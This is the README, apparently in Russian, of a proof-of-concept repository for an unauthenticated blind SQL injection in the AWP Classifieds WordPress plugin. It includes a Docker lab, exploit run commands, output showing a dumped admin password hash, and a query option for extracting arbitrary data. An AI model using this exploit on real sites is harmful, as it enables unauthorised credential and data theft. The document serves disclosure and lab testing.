
Неаутентифицированный PoC time-based blind SQL-инъекции для AWP Classifieds <= 4.4.7, с Docker-лабораторией, полным разбором и патч-диффом.
| CVE | CVE-2026-59550 |
| Плагин | AWP Classifieds (another-wordpress-classifieds-plugin) |
| Уязвимые версии | <= 4.4.7 |
| Исправлено в | 4.4.8 |
| Класс | SQL-инъекция (OWASP A3: Injection) |
| Привилегии | Неаутентифицированный |
| CVSS v3.1 | 9.3 (High) |
| Точка срабатывания | AWPCP_BasicRegionsAPI::save() — includes/regions-api.php |
| Обнаружил | Thaer Assfour (через Patchstack) |
| Рекомендация | https://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability |
AWPCP_BasicRegionsAPI::save() передаёт ключи массива regions,
предоставленного пользователем, напрямую в $wpdb->insert() / $wpdb->update().
WordPress оборачивает имена столбцов в обратные кавычки, но не экранирует их,
поэтому ключ, содержащий обратную кавычку, выходит за пределы идентификатора и
внедряет произвольный SQL. Массив regions берётся дословно из $_POST, и вся
цепочка достижима без аутентификации, когда включена гостевая подача объявлений
(requireuserregistration = 0, значение по умолчанию).
Исправление в 4.4.8 добавляет явный список разрешённых столбцов
(filter_region_columns()) и список разрешённых полей для передаваемых регионов
(prepare_submitted_region()).
.
├── README.md # this file
├── docs/
│ └── WRITEUP.md # full technical writeup
├── exploit/
│ ├── exploit.py # unauthenticated blind SQLi PoC
│ └── requirements.txt
├── lab/
│ ├── docker-compose.yml # WordPress 6.8 + MariaDB 11, vuln + patched
│ ├── setup.sh # stage plugins, boot, provision both sites
│ └── teardown.sh # remove containers + volumes + staged files
└── patches/
├── 4.4.8-regions-api.diff # the security fix (single file)
└── 4.4.7-to-4.4.8-full.diff # complete release diff
Требования: Docker + Docker Compose, Python 3 с requests, unzip.
# 1. build and provision the disposable lab (Docker only)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
/path/to/another-wordpress-classifieds-plugin.4.4.8.zip
# -> vulnerable (4.4.7): http://localhost:8080/?page_id=8
# -> patched (4.4.8): http://localhost:8090/?page_id=8
# 2. run the PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080 # should be VULNERABLE
python3 exploit.py http://localhost:8090 # should be PATCHED
# 3. tear everything down
cd ../lab && ./teardown.sh
setup.sh принимает два архива плагина в качестве аргументов или через
переменные окружения AWP447_ZIP / AWP448_ZIP; при их отсутствии используются
~/Downloads/<slug>.4.4.7.zip и ~/Downloads/<slug>.4.4.8.zip.
Архивы не включены в этот репозиторий — исходные копии ядра WordPress
и плагина находятся только внутри lab/html-*/ и игнорируются git.
[*] target : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
[+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version : 11.8.9-MariaDB
[+] first WP user : admin
Извлечение произвольных данных с помощью явного запроса:
python3 exploit.py http://localhost:8080 \
--query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
--maxlen 60
PoC представляет собой оракул на основе времени, поэтому ему не требуется отражение вывода SQL, и он работает на полностью слепой цели.
// includes/regions-api.php (4.4.7)
public function save( $region ) {
...
$result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}
Полный анализ распространения данных (taint analysis), трассировку запроса,
доказательство сгенерированного SQL и обсуждение исправления см. в
docs/WRITEUP.md.
requireuserregistration = 1 и/или заблокируйте
AJAX-действия awpcp_save_listing_information / awpcp_create_empty_listing.Этот материал предоставлен исключительно для защитных исследований в области безопасности, обучения и авторизованного тестирования. Не используйте его против систем, которыми вы не владеете и на тестирование которых у вас нет явного письменного разрешения. Лаборатория полностью контейнеризована и одноразова.